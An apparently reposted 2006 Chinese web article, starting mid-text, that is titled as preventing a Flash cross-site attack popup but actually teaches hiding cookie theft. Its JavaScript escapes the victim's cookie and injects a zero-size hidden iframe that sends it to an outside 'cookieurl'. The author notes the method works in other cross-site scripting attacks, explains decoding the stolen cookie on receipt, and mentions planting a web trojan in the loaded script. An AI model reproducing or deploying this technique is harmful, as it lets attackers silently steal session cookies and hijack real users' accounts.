如何防止Flash跨站攻击弹出IE窗口
发布时间:2006-09-26 11:00:08 来源:不详 网友评论 0 条/*这里使用了escape()对cookie编码,用来防止cookie中的一些特殊字符*/
document.body.insertAdjacentHTML('beforeEnd','<iframe WIDTH=0px HEIGHT=0px style="display:none;" src="'+cookieurl+'"><//iframe>');
/*这里使用了insertAdjacentHTML在body的最后插入了一个不可见的框架*/
这里主要是利用了可以在一个网页中引入不同域中的javascript代码文档,而且所引入的javascript代码文档会和本网页融为一体的特点!
好啦!至此Flash跨站攻击弹出IE窗口的问题算是解决啦!当然如果你愿意,在icyfox.js中加个网页木马之类的我也无话可说!www.xker.com(小新技术网)
最后我再顺便说一句,它同样可以用于在其他类型的跨站脚本功击中隐藏弹出的IE窗口!比起利用Microsoft.XMLHTTP控件发送COOKIE要随意的多,因为它不会像Microsoft.XMLHTTP控件那样只能发给当前服务器,还有焦点上czy的“利用Microsoft.XMLHTTP控件发送COOKIE”一文中提到这样一句话:
“以前我想了一个在网页中用insertAdjacentHTML方法来注入HTML语句的办法勉强可以作到发送COOKIE不出现IE窗口,但是在实际使用中有时会遇到IE出错。”
具我分析是因为在COOKIE中存在了一些特殊字符,而czy没有正确处理或是编码,才会在实际使用中有时会遇到IE出错,所以上面代码我用了escape()对cookie编码,在接受到cookie后请注意用unescape()来解码!
- 推荐阅讯
- 微软发布:IE 7.0 Beta 3 火热评测
- 历史上最强的浏览器:Firefox简体中文版下载
- RSS比较火 Gmail看信也玩RSS阅读
- 诺博NB1200+ 路由器解决网吧ARP病毒造成的掉
- 网海无垠 冲浪无限-Maxthon VS GB
- 思科交换机如何防范典型欺骗和攻击
- 路由器CPU利用率过高的解决方法
- 禁止IE发送错误报告
- 万事不求人 三招必杀技清除IE顽固病毒
- 听听大家怎么说:客户对 Picasa 的评价
